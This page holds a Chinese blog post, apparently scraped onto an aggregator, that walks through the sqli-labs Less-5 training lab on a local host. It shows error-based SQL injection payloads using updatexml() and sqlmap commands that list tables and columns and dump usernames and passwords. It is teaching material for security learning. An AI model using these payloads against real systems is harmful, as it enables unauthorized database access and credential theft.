当前位置: 首页 > news >正文

wordpress类似的平台快速优化排名公司推荐

wordpress类似的平台,快速优化排名公司推荐,网站免费观影怎么做,网络销售是干嘛的1. 思路🚀 本关的SQL语句为: $sql"SELECT * FROM users WHERE id$id LIMIT 0,1";注入类型:字符串型(单引号包裹)提示:参数id需以闭合 但有意思的是,php代码的输出语句不是如下这种…

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)
  • 提示:参数id需以'闭合

但有意思的是,php代码的输出语句不是如下这种,这就导致无法像常规一样回显!

if($row)
{echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}

而是如下的代码:

if($row)
{echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";
}

对于很多注入出现无回显的情况,其原因可能是SQL语句查询方式的问题导致,这就需要用到盲注的手段,常用的有:

  • 布尔盲注:逻辑判断
  • 时间盲注:延时判断
  • 报错盲注:报错回显(本关卡解决方法)✅

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-5/,只需要将下面的sql语句粘贴即可。

2.1. 正常请求⚡

?id=1

在这里插入图片描述

说明:测试回显情况


2.2. 判断字段数⚡

?id=1' order by 4 --+
  • order by 4:探测字段数(报错说明字段数=3)

在这里插入图片描述


2.3. 确定回显位⚡

?id=1' and updatexml(1,(select database()),3) --+
  • updatexml 是 MySQL 的一个 XML 处理函数,但它常被用于 报错注入(Error-Based Blind SQL Injection),因为它会在 XPath 解析错误时返回错误信息,从而泄露数据。

在这里插入图片描述

2.3.1 为什么是这种写法updatexml(1,(select database()),3) ?

想必会有疑惑,为什么下面的3种写法,只使用第1种:

?id=1' and updatexml(1,(select database()),3) --+
?id=1' and updatexml(1,2,(select database())) --+
?id=1' and updatexml((select database()),2,3) --+

这就要从函数updatexml()自身入手,它的3个参数为:

updatexml(XML_document, XPath_expression, new_value)
参数数据类型作用在注入中的用途
1. XML_documentXML 字符串要修改的 XML 文档通常设为 1 或任意值(无实际作用
2. XPath_expressionXPath 字符串用于定位 XML 节点的路径关键参数:构造非法 XPath 触发报错
3. new_valueXML 字符串替换匹配节点的值通常设为 1 或任意值(无实际作用

这就是为什么只有将(select database())放在第2个位置才会起中用,因为放到其他位置不会触发,起不了作用。

2.3.2 联合查询注入中id=-1 ,而报错盲注中id=1?

我们来对比一下,联合查询注入和报错注入的不同处:

?id=-1' union select 1,database(),user() --+?id=1' and updatexml(1,(select database()),3) --+

这是工作机制上的区别:

  • 联合查询注入要求 前一个查询返回空结果,才能让后续的 union 查询结果显示出来。如果前一个查询有结果(如 id=1 存在),数据库会优先显示它的结果,而 union 部分的数据会被忽略。
  • 报错注入依赖 SQL 语句执行并触发错误,所以 前面的条件必须为真,否则整个语句不会执行。如果 id=-1 不存在,and 后面的 updatexml 就不会执行,也就不会报错。

2.4. 获取基础信息

?id=1' and updatexml(1,concat(1,(select database())),3) --+

在这里插入图片描述

2.4.1 updatexml函数的报错机制是什么?
  1. updatexml 的报错机制

    • updatexml() 在解析错误的 XPath 时,会返回 第一个非法字符开始的部分字符串
    • concat(1, (select database())) 生成 "1security" 时:
      • 1 是合法的 XPath 数字(不会触发报错)。
      • ssecurity 的第一个字母)是非法 XPath 字符,所以报错从 s 开始截取。
  2. 为什么 1 没有显示

    • 1 是合法的 XPath 数字,不会触发报错,所以被忽略。
    • 报错信息 只显示第一个非法位置之后的内容(即 security)。
  3. 为什么推荐 0x7e~)?
    3.1. 确保触发报错~ 不是合法 XPath 字符,能强制从开头报错。
    3.2. 完整显示数据:避免因前导数字/字母被忽略而丢失信息(如你的 1 被跳过)。
    3.3. 标准化注入:安全研究人员普遍使用 0x7e,让报错信息更统一。
    完整的输出,可以改用:

    ?id=1' and updatexml(1, concat(0x7e,(select database()),0x7e), 3) --+
    

    报错会显示:
    XPATH syntax error: '~security~'


2.5. 获取表名⚡

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) --+

在这里插入图片描述


2.6. 获取字段⚡

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) --+

在这里插入图片描述


2.7. 获取数据⚡

?id=1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) --+

因为updatexml()函数最多显示32位数据,建议使用concat()搭配limit + offset使用,例如limit n,1,n为起始位置。
在这里插入图片描述


2.8. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
--+注释符--+
order by判断字段数order by 4
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-5/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-5/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

本文是关于报错盲注的介绍与解析,内容详细,记录了我对于一些报错盲注知识的认识。
如有不懂,关卡1的解析更为详细(更为基础),相信你会有收获,sqli-labs:Less-1关卡详细解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/490481.html

相关文章:

  • Git 基础操作指南
  • 网站给部分文字做遮挡代码wordpress主题仿逛丢
  • 【bug】大模型微调bug:OSError: Failed to load tokenizer.| Lora
  • 视频生成的背后机理:Wan2技术报告分析
  • 有什么做衣服的网站吗天津市建筑信息平台
  • HTB BoardLight writeup(enlightenment 0.23.1 exploit)
  • 唐山网站搭建平台制作计划
  • 智能体面试题:ReAct框架 是什么
  • 泰山派rk3566 wifi基础知识
  • 【无标题】大模型-AIGC技术在文本生成与音频生成领域的应用
  • 渗透测试(2):不安全配置、敏感明文传输、未授权访问
  • 有记事本做简易网站深圳网站设计x程序
  • AI教育开启新篇章
  • 使用bert-base-chinese中文预训练模型,使用 lansinuote/ChnSentiCorp 中文网购评价数据集进行情感分类微调和训练。
  • 国内做设计的网站做视频素材哪个网站好
  • WebGIS包括哪些技术栈?
  • Python全栈(基础篇)——Day13:后端内容(模块详解)
  • 科创企业品牌营销:突破与发展之路
  • Spring Boot 3零基础教程,Spring Boot 指定日志文件位置,笔记21
  • 腾讯云如何建设网站首页北京网站建设联系电话
  • 【JWT漏洞】
  • 2025年10月版集成RagFlow和Dify的医疗知识库自动化查询(安装篇)
  • 苏州手机网站建设多少钱上海小程序定制公司
  • YOLO-V1 与 YOLO-V2 核心技术解析:目标检测的迭代突破
  • HarmonyOS Next 实战技巧集锦
  • 【鸿蒙进阶-7】鸿蒙与web混合开发
  • HarmonyOS Next 快速参考手册
  • 8.list的模拟实现
  • 鸿蒙NEXT按键拦截与监听开发指南
  • 网站建设等级定级企查查官网查企业网页版